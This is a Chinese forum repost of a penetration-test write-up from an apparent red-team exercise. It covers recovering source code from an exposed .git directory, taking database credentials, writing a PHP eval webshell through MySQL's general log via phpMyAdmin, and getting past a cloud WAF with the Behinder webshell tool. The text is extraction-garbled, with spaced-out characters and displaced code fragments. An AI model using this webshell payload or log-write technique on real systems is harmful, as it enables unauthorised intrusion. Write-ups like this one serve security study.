搜索

[27364] 2020-11-22_记一次攻防演习渗透过程

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-11-22_记一次攻防演习渗透过程 记 一 次 攻 防 演 习 渗 透 过 程 原 创   E v i l C h e n   N E O 攻 防 队   2 0 2 0 - 1 1 - 2 2 记 一 次 攻 防 演 习 渗 透 过 程 记 一 次 攻 防 演 习 渗 透 过 程 前 言 前 言 记 录 一 次 攻 防 演 习 渗 透 过 程 ， 文 章 仅 写 关 于 「 打 点 」 环 节 的 部 分 ， 也 就 是 拿 到 靶 标 的 W e b s h e l l 为 止 。 任 务 :   拿 到 X X X 业 务 系 统 权 限 . . . 过 程 过 程 靶 标 是 一 个 w w w 的 域 名 ， 简 单 看 了 下 有 机 会 硬 啃 （ 商 业 源 码 ） ， 但 时 间 不 多 ， 先 找 找 脆 弱 点 ， 常 规 一 套 流 程 ， 收 集 子 域 、 C 段 . . . 脆 弱 点 发 现 脆 弱 点 发 现 在 对 子 域 的 常 规 扫 描 后 ， 发 现 存 在 泄 露 : . g i t
以 及 发 现 了 应 用 和 一 些 信 息 泄 漏 : 看 到 这 些 ， 不 由 得 兴 奋 了 起 来 ， 接 下 来 只 要 按 照 预 期 的 想 法 :   通 过 拿 到 数 据 库 账 号 密 码 （ 源 码 中 一 般 会 有 ） ， 登 录 p h p M y A d m i n p h p i n f o ( ) . g i t
， 然 后 拿 到 . . . 但 . . . 转 折 点 来 了 ， 尝 试 使 用 等 一 系 列 常 见 工 具 去 恢 复 ， 发 现 恢 复 的 文 件 只 有 一 些 图 片 ， 看 发 现 有 很 多 文 件 恢 复 失 败 ， 既 然 不 能 当 一 个 一 把 梭 哈 ， 那 就 自 己 来 手 动 恢 复 吧 ~ G i t 原 理 与 恢 复 原 理 与 恢 复 基 本 概 念 基 本 概 念 G i t 有 三 个 概 念 词 需 要 了 解 :   1 . 工 作 区   2 . 版 本 库   3 . 暂 存 区 工 作 区 就 是 正 常 的 目 录 （ 你 的 项 目 位 置 ） ; 版 本 库 就 是 在 工 作 区 内 的 一 个 隐 藏 目 录 ; 如 果 你 曾 经 注 意 过 这 个 目 录 你 会 发 现 里 面 有 许 多 东 西 ， 在 该 目 录 下 会 存 在 一 个 文 件 ， 这 被 称 之 为 暂 存 区 。 除 以 上 所 述 之 外 ， 大 家 都 知 道 每 一 个 G i t 项 目 都 会 有 一 个 默 认 的 分 支 ， 在 目 录 下 有 一 个 文 件 ， 它 用 来 指 向 这 个 分 支 。 当 我 们 使 用 时 ， 实 际 上 就 是 把 文 件 添 加 进 暂 存 区 ； 使 用 时 ， 才 会 把 暂 存 区 的 内 容 添 加 到 当 前 分 支 ， 默 认 是 分 支 。 我 们 可 以 来 实 际 的 看 一 下 和 这 两 个 文 件 : p h p M y A d m i n W e b s h e l l G i t H a c k . g i t L o g s S c r i p t K i d . g i t i n d e x m a s t e r . g i t h e a d m a s t e r g i t   a d d g i t   c o m m i t m a s t e r i n d e x h e a d
使 用 直 接 分 析 ， 可 以 很 直 观 的 看 见 内 有 许 多 内 容 ， 并 没 有 ， 直 接 发 现 这 就 是 一 个 单 纯 的 文 本 内 容 : 前 面 了 解 到 这 是 一 个 分 支 指 向 ， 那 我 直 接 查 看 目 录 下 的 文 件 ， 得 到 一 串 H a s h 值 。 我 们 可 以 暂 且 认 为 这 是 分 支 的 一 个 记 录 ， 用 于 区 分 、 比 较 。 大 概 了 解 了 以 上 内 容 后 ， 还 需 要 了 解 有 哪 些 文 件 才 能 够 恢 复 ? 首 先 我 们 来 看 一 下 目 录 内 的 一 般 结 构 : 名 称 名 称 类 型 类 型 作 用 作 用 . g i t / i n d e x 文 件 暂 存 区 . g i t / c o n f i g 文 件 G i t 配 置 文 件 . g i t / d e s c r i p t i o n 文 件 G i t W e b 专 用 的 描 述 文 件 . g i t / i n f o 文 件 夹 里 面 就 一 个 e x c l u d e 文 件 （ 与 . g i t i g n o r e 互 补 ） ， 排 除 指 定 文 件 不 用 做 G i t 提 交 . g i t / h o o k s 文 件 夹 存 放 一 些 钩 子 脚 本 . g i t / H E A D 文 件 记 录 分 支 . g i t / o b j e c t s 文 件 夹 文 件 夹 存 放 所 有 数 据 存 放 所 有 数 据 . g i t / r e f s 文 件 夹 存 放 提 交 对 象 的 指 针 知 道 结 构 及 其 作 用 后 ， 挑 重 点 关 注 这 个 目 录 ， 但 一 看 ， 全 都 是 一 些 H a s h 命 名 的 文 件 ， 根 本 不 知 道 其 对 应 关 系 : B i n w a l k i n d e x h e a d c a t   h e a d r e f :   r e f s / h e a d s / m a s t e r . g i t r e f s / h e a d s / m a s t e r m a s t e r . g i t . g i t o b j e c t s
并 且 这 些 文 件 都 没 办 法 看 : 查 阅 相 关 资 料 得 知 此 类 文 件 是 将 原 文 件 内 容 经 过 的 压 缩 后 存 储 的 ( h t t p s : / / m i r r o r s . e d g e . k e r n e l . o r g / p u b / s o f t w a r e / s c m / g i t / d o c s / u s e r - m a n u a l . h t m l # o b j e c t - d e t a i l s ) : 而 使 用 进 行 解 压 查 看 文 件 内 容 时 是 这 样 的 : 这 个 文 件 更 像 是 记 录 了 一 个 目 录 结 构 ， 而 关 于 此 就 又 需 要 查 阅 资 料 了 ， 具 体 请 看 : h t t p s : / / g i t - s c m . c o m / b o o k / z h / v 2 / G i t - % E 5 % 8 6 % 8 5 % E 9 % 8 3 % A 8 % E 5 % 8 E % 9 F % E 7 % 9 0 % 8 6 - G i t - % E 5 % A F % B 9 % E 8 % B 1 % A 1 g i t 中 的 对 象 ( 对 象 对 应 文 件 对 象 对 应 文 件 ) 包 含 了 : 1 .   S H A ( 所 有 用 来 表 示 项 目 历 史 信 息 的 文 件 , 是 通 过 一 个 4 0 个 字 符 的 （ 4 0 - d i g i t ） “ 对 象 名 ” 来 索 引 的 ， 解 释 了 之 前 解 释 了 之 前 的 的 H A S H 内 容 内 容 ) 2 .   B l o b 对 象 ( 用 来 存 储 文 件 的 内 容 ) 3 .   T r e e 对 象 ( 有 一 串 b u n c h 指 向 B l o b 对 象 或 是 其 它 T r e e 对 象 的 指 针 ， 一 般 表 示 内 容 之 间 的 目 录 层 次 关 系 ) 4 .   C o m m i t 对 象 ( 指 向 一 个 T r e e 对 象 ,   并 且 带 有 相 关 的 描 述 信 息 ) z l i b d e f l a t e z l i b . g i t / o b j e c t s r e f s / h e a d s / m a s t e r
注 :   图 片 来 自   g i t - s c m . c o m 按 照 这 个 逻 辑 ， 我 们 需 要 先 获 取 对 象 对 应 文 件 找 到 对 象 对 应 文 件 再 通 过 其 获 得 对 象 对 应 文 件 ， 最 后 解 压 即 可 获 得 源 文 件 内 容 。 那 这 些 对 象 ( 文 件 名 ) 都 存 储 在 哪 里 呢 ？ 通 过 之 前 使 用 分 析 ， 显 而 易 见 ， 在 文 件 中 。 但 是 在 这 里 文 件 无 法 直 接 查 看 ， 直 接 套 用 的 ( h t t p s : / / g i t h u b . c o m / l i j i e j i e / G i t H a c k / b l o b / m a s t e r / l i b / p a r s e r . p y ) 解 析 代 码 就 行 : 获 得 S H A 1 :   ， 但 是 找 了 半 天 没 找 到 这 个 对 应 文 件 ， 后 来 尝 试 搜 索 前 几 位 和 后 几 位 ， 发 现 搜 索 到 了 后 几 位 : C o m m i t T r e e B l o b C o m m i t B i n w a l k . g i t / i n d e x . g i t / i n d e x G i t H a c k a 7 9 7 b 1 9 7 3 f d 6 2 d c 3 4 a 6 9 1 c 7 f e 3 b c e 3 3 a 5 0 4 f 2 b 7 4
对 比 发 现 文 件 名 和 获 取 的 S H A 1 值 少 了 2 位 : 搜 索 发 现 原 来 前 两 位 是 作 为 了 目 录 名 : 但 在 这 里 ， 我 们 使 用 去 解 压 缩 ， 发 现 存 储 在 的 S H A 1 值 实 际 上 就 是 一 个 对 象 的 值 ， 也 就 根 本 不 需 要 获 取 、 对 象 的 值 了 ， 表 示 之 前 的 顺 序 逆 推 逻 辑 是 错 误 的 : 接 下 来 按 照 这 个 思 路 去 编 写 脚 本 恢 复 源 码 即 可 。 编 写 与 恢 复 编 写 与 恢 复 由 于 项 目 时 间 原 因 简 单 了 解 原 理 之 后 ， 没 有 过 多 的 去 研 究 ， 也 不 打 算 使 用 原 生 方 法 去 恢 复 ， 还 是 采 用 最 暴 力 的 方 法 ， 使 用 命 令 行 去 恢 复 ， 想 要 让 G i t 回 退 历 史 ， 使 用 命 令 ， 进 行 版 本 回 退 。 基 于 这 个 命 令 ， 我 需 要 获 取 网 站 的 这 几 个 文 件 / 目 录 : 1 .   2 .   3 .   4 .   5 .   z l i b . g i t / i n d e x b l o b c o m m i t t r e e . g i t g i t   r e s e t   - - h a r d   c o m m i t _ i d . g i t / i n d e x . g i t / l o g s . g i t / h e a d . g i t / o b j e c t s . g i t / r e f s
先 下 载 、 、 、 ( 文 件 目 录 都 是 固 定 的 无 需 考 虑 其 他 情 况 文 件 目 录 都 是 固 定 的 无 需 考 虑 其 他 情 况 ) 而 后 解 析 获 取 索 引 ， 根 据 索 引 依 次 下 载 内 的 文 件 ， 最 后 全 部 下 载 完 毕 ， 获 取 分 支 ( 文 件 ) 对 应 的 值 带 入 该 命 令 即 可 恢 复 : 但 发 现 除 此 之 外 ， 发 现 恢 复 的 文 件 寥 寥 无 几 ， 后 来 下 载 发 现 该 项 目 还 有 其 他 分 支 : 这 个 记 录 中 有 两 个 S H A 1 的 值 ， 对 应 前 者 ， 对 应 后 者 ， 简 单 修 改 命 令 ， 还 是 那 一 套 流 程 ， 恢 复 这 个 分 支 的 源 码 即 可 。 获 取 子 域 获 取 子 域   W e b s h e l l 获 得 源 码 之 后 翻 数 据 库 账 号 密 码 : . g i t / i n d e x . g i t / h e a d . g i t / r e f s . g i t / l o g s i n d e x . g i t / o b j e c t s m a s t e r r e f s / h e a d s / m a s t e r g i t   r e s e t   - - h a r d   c o m m i t _ i d . g i t / l o g s / h e a d . g i t m a s t e r s h o p g i t   r e s e t   - - h a r d   s h o p _ c o m m i t _ i d s h o p
由 于 之 前 我 们 已 经 有 了 一 个 探 针 ， 网 站 绝 对 路 径 已 知 ， 所 以 直 接 上 登 录 ， 尝 试 使 用 ， 有 限 制 无 法 写 入 : 转 而 使 用 M y s q l   L o g 日 志 存 储 的 方 式 进 行 写 入 : 访 问 相 关 文 件 却 提 示 我 无 法 访 问 ( 4 0 3 / A c c e s s D e f i n e d ) : p h p i n f o ( ) p h p M y A d m i n i n t o   o u t f i l e - - s e c u r e - f i l e - p r i v s e t   g l o b a l   g e n e r a l _ l o g = o n ; s e t   g l o b a l _ l o g _ f i l e = ' / x x x / w w w / x x x . p h p ' ; s e l e c t   ' < ? p h p   @ e v a l ( $ _ R E Q U E S T [ " x x x " ] ) ; ? > ' ;
遇 到 这 种 情 况 尝 试 以 下 几 种 方 法 : 1 .   修 改 后 缀 访 问 ， 判 断 是 否 是 只 针 对 脚 本 后 缀 进 行 限 制 （ 上 传 . h t a c c e s s 文 件 ） 2 .   修 改 内 容 访 问 ， 判 断 是 否 有 安 全 防 护 对 内 容 进 行 限 制 3 .   如 若 以 上 均 未 访 问 成 功 ， 则 可 以 考 虑 覆 盖 原 文 件 写 入 这 里 我 的 情 况 是 第 三 种 ， 大 概 推 测 可 能 是 因 为 新 建 的 文 件 没 有 执 行 权 限 所 导 致 ， 因 为 这 里 我 们 已 经 有 源 码 了 所 以 可 以 直 接 找 已 有 的 文 件 ( 建 议 选 择 非 业 务 相 关 的 文 件 建 议 选 择 非 业 务 相 关 的 文 件 ) 进 行 写 入 ( 记 得 事 后 恢 复 记 得 事 后 恢 复 ) : 执 行 函 数 可 以 ， 但 无 法 直 接 使 用 管 理 工 具 连 接 ， 抓 包 发 现 目 标 网 站 上 了 云 W A F ， 对 请 求 内 容 拦 截 了 ( 该 W A F 还 挺 弱 ) ， 这 种 情 况 还 是 有 很 多 中 方 式 : 1 .   配 合 C k n i f e 、 蚁 剑 等 自 定 义 修 改 传 输 内 容 ( B a s e 6 4 编 码 等 等 ) ， 但 需 要 修 改 P H P 文 件 内 容 配 合 解 码 2 .   直 接 上 冰 蝎 、 哥 斯 拉 的 马 就 行 了 为 图 方 便 ， 选 择 ， 使 用 写 入 连 接 就 行 ( 这 都 不 拦 ， W A F 堪 忧 ) : p h p i n f o ( ) ; 冰 蝎 3 f i l e _ p u t _ c o n t e n t s
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理